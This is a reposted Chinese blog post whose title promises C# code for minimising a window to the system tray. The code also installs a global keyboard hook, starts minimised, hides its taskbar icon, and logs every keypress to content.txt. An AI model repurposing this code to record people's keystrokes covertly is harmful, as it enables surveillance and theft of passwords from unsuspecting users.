c# 程序最小化托盘及还原

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;

namespace listen
{ 
    public partial class Form1 : Form
    { 
        KeyboardHook k_hook;

        #region//创建对象及声明变量
        //创建NotifyIcon对象
        NotifyIcon notifyicon = new NotifyIcon();
        //创建托盘图标对象
        Icon ico = new Icon("favicon.ico");
        //创建托盘菜单对象
        ContextMenu notifyContextMenu = new ContextMenu();
        #endregion

        public Form1()
        { 
            InitializeComponent();
            k_hook = new KeyboardHook();
            //k_hook.KeyDownEvent += new System.Windows.Forms.KeyEventHandler(hook_KeyDown);//钩住键按下
            k_hook.KeyPressEvent += K_hook_KeyPressEvent;
            k_hook.Start();//安装键盘钩子
            this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
        }

        private void K_hook_KeyPressEvent(object sender, KeyPressEventArgs e)
        { 
            //tb1.Text += e.KeyChar;
            int i = (int)e.KeyChar;
            string str = "键: " + e.KeyChar + Environment.NewLine;
            m_comm_MessageEvent(str);
            writeToFile("键: " + e.KeyChar);
        }

        private void hook_KeyDown(object sender, KeyEventArgs e)
        { 
            string str = "键: " + (char)e.KeyData + Environment.NewLine;
            m_comm_MessageEvent(str);
            writeToFile("键: " + (char)e.KeyData);

            //判断按下的键(Alt + A)
            //if (e.KeyValue == (int)Keys.A && (int)System.Windows.Forms.Control.ModifierKeys == (int)Keys.Alt)
            //{ 
            // System.Windows.Forms.MessageBox.Show("ddd");
            //}
        }


        private delegate void InvokeCallback(string msg);
        private void m_comm_MessageEvent(string msg)
        { 
            if (this.richTextBox1.InvokeRequired)
            { 
                InvokeCallback msgCallback = new InvokeCallback(m_comm_MessageEvent);
                richTextBox1.Invoke(msgCallback, new object[] {  msg });
            }
            else
            { 
                richTextBox1.Text = richTextBox1.Text.Insert(0, msg);
            }
        }

        private void writeToFile(string str)
        { 
            if (!string.IsNullOrEmpty(str))
            { 
                using (StreamWriter w = File.AppendText(System.Windows.Forms.Application.StartupPath + @"\content.txt"))
                { 
                    w.WriteLine(str + "\r\n");
                    w.Flush();  //清除此流的缓冲区,内容写入文本
                    w.Close();
                    w.Dispose();
                }
            }

        }

        private void Form1_FormClosed(object sender, FormClosedEventArgs e)
        { 
            k_hook.Stop();
        }

        /// <summary>
        /// 方法作用:隐藏任务栏图标,显示托盘图标
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void Form1_SizeChanged(object sender, EventArgs e)
        { 
            //判断是否选择的是最小化按钮
            if (WindowState == FormWindowState.Minimized)
            { 
                //托盘显示图标等于托盘图标对象
                //注意notifyIcon1是控件的名字而不是对象的名字
                notifyIcon1.Icon = ico;
                //隐藏任务栏区图标
                this.ShowInTaskbar = false;
                //图标显示在托盘区
                notifyicon.Visible = true;
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        { 
            this.notifyIcon1.Text = "托盘图标";
        }

        /// <summary>
        /// 方法作用:还原窗体
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void notifyIcon1_Click(object sender, EventArgs e)
        { 
            //判断是否已经最小化于托盘
            if (WindowState == FormWindowState.Minimized)
            { 
                //还原窗体显示
                WindowState = FormWindowState.Normal;
                //激活窗体并给予它焦点
                this.Activate();
                //任务栏区显示图标
                this.ShowInTaskbar = true;
                //托盘区图标隐藏
                notifyicon.Visible = false;
            }
        }

    }
}

    原文作者:madianding
    原文地址: https://blog.csdn.net/madianding/article/details/123814543
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞